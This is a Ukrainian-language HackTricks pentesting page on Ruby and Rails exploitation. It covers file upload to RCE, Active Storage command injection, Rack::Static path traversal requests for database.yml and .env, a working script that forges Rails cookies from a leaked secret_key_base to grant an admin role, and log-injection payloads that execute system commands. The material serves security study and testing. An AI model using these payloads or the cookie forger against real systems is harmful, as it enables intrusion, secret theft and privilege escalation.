Ruby трюки

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Завантаження файлу до RCE

Як пояснено в this article, завантаження файлу .rb у чутливі директорії, такі як config/initializers/, може призвести до remote code execution (RCE) у Ruby on Rails застосунках.

Поради:

  • Інші місця завантаження/eager-load, які виконуються при старті додатку, також небезпечні, якщо вони записувані (наприклад, config/initializers/ — класичний випадок). Якщо знайдете довільне завантаження файлу, яке потрапляє кудись під config/ і потім оцінюється/required, можна отримати RCE при старті.
  • Шукайте dev/staging збірки, які копіюють керовані користувачем файли в образ контейнера, де Rails завантажить їх при старті.

Active Storage image transformation → command execution (CVE-2025-24293)

Коли застосунок використовує Active Storage з image_processing + mini_magick і передає ненадійні параметри до методів трансформації зображень, версії Rails до 7.1.5.2 / 7.2.2.2 / 8.0.2.1 можуть дозволяти command injection, оскільки деякі методи трансформації помилково були дозволені за замовчуванням.

  • Уразливий паттерн виглядає так:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

де params[:t] та/або params[:v] контролюються атакуючим.

  • Що спробувати під час тестування

  • Ідентифікуйте будь-які ендпоінти, що приймають опції variant/processing, імена трансформацій або довільні аргументи ImageMagick.

  • Фаззуйте params[:t] та params[:v] для виявлення підозрілих помилок або побічних ефектів виконання. Якщо можете впливати на ім’я методу або передавати сирі аргументи, що доходять до MiniMagick, можна отримати code exec на хості обробки зображень.

  • Якщо у вас лише доступ для читання згенерованих варіантів, спробуйте сліпий ексфільтраційний канал через crafted ImageMagick операції.

  • Виправлення/детекція

  • Якщо бачите Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 з Active Storage + image_processing + mini_magick і керованими користувачем трансформаціями, вважайте це експлуатованим. Рекомендується оновити і запровадити суворі allowlists для методів/параметрів та жорстку політику ImageMagick.

Rack::Static LFI / path traversal (CVE-2025-27610)

Якщо стек цілі використовує Rack middleware безпосередньо або через фреймворки, версії rack до 2.2.13, 3.0.14 і 3.1.12 дозволяють Local File Inclusion через Rack::Static, коли :root не встановлено/неправильно налаштовано. Закодована traversal в PATH_INFO може показати файли під робочою директорією процесу або під несподіваним root.

  • Шукайте додатки, що монтують Rack::Static у config.ru або стеку middleware. Спробуйте закодовані traversal проти static шляхів, наприклад:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Підлаштуйте префікс під налаштовані urls:. Якщо додаток відповідає вмістом файлу, ймовірно у вас є LFI до всього під резольвеним :root.

  • Мітігація: оновіть Rack; переконайтеся, що :root вказує лише на директорію публічних файлів і встановлений явно.

Підробка/дешифрування Rails cookies коли secret_key_base leaked

Rails шифрує та підписує cookies, використовуючи ключі, похідні від secret_key_base. Якщо це значення leaks (наприклад, у репозиторії, логах або неправильно налаштованих credentials), зазвичай можна розшифрувати, змінити і повторно зашифрувати cookies. Це часто призводить до обходу authz, якщо додаток зберігає ролі, user IDs або feature flags у cookie.

Мінімальний Ruby код для дешифрування та повторного шифрування сучасних cookies (AES-256-GCM, за замовчуванням у останніх Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Примітки:

  • Старіші додатки можуть використовувати AES-256-CBC та солі encrypted cookie / signed encrypted cookie, або JSON/Marshal серіалізатори. Відповідно відкоригуйте солі, cipher і serializer.
  • У разі компрометації/оцінки, rotate secret_key_base, щоб інвалідувати всі існуючі cookies.

Див. також (Ruby/Rails-specific vulns)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

Коли додаток (часто простий Rack/Sinatra/Rails endpoint) одночасно:

  • записує рядок, контрольований користувачем, дослівно, та
  • пізніше load-ить файл, шлях до якого отримано з того ж рядка (після Pathname#cleanpath),

Часто можна досягти remote code execution, отруївши лог і змусивши додаток load файл логу. Ключові примітиви:

  • Ruby load виконує вміст цільового файлу як Ruby незалежно від розширення файлу. Будь-який читабельний текстовий файл, вміст якого розбирається як Ruby, буде виконаний.
  • Pathname#cleanpath згортає сегменти . і .. без звернення до файлової системи, дозволяючи path smuggling: керований атакуючим мотлох може бути додано попереду для логування, тоді як очищений шлях все ще вказує на потрібний файл для виконання (наприклад, ../logs/error.log).

Minimal vulnerable pattern

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Чому лог може містити валідний Ruby

Logger записує префіксні рядки, наприклад:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

У Ruby # починає коментар, а 9/2/2025 — це просто арифметика.
Щоб інжектувати валідний Ruby код, потрібно:

  • Почніть payload з нового рядка, щоб він не був закоментований # у рядку INFO; надішліть провідний символ нового рядка (\n або %0A).
  • Закрийте незакриту [ введену в рядку INFO. Звичний трюк — почати з ] і за бажанням зробити парсер задоволеним ][0]=1.
  • Потім додайте довільний Ruby код (наприклад, system(...)).

Приклад того, що в кінцевому підсумку опиниться в логах після одного запиту з crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Приховання одного рядка, який одночасно записує код у лог і резольвиться у шлях до логу

Нам потрібен один рядок, контрольований атакуючим, який:

  • при логуванні у сирому вигляді містить наш Ruby payload, та
  • коли пропускається через Pathname.new(<input>).cleanpath, резольвиться до ../logs/error.log, тож наступний load виконає щойно підмінений лог-файл.

Pathname#cleanpath ігнорує схеми та згортає компоненти обходу директорій, тож наступне працює:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Символ # перед :// змушує Ruby ігнорувати хвіст під час виконання логу, тоді як cleanpath все ще скорочує суфікс до ../logs/error.log.
  • Провідний символ нового рядка виводить з рядка INFO; ] закриває завислу дужку; ][0]=1 задовольняє парсер.

End-to-end exploitation

  1. Надішліть наступне як ім'я скрипту резервного копіювання (за потреби URL-кодуйте перший символ нового рядка як %0A):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Додаток записує ваш необроблений рядок у logs/error.log.
  2. Додаток обчислює cleanpath, який резольвується в ../logs/error.log, і викликає load на ньому.
  3. Ruby виконує код, який ви вставили в лог.

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (перший символ — перенос рядка):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks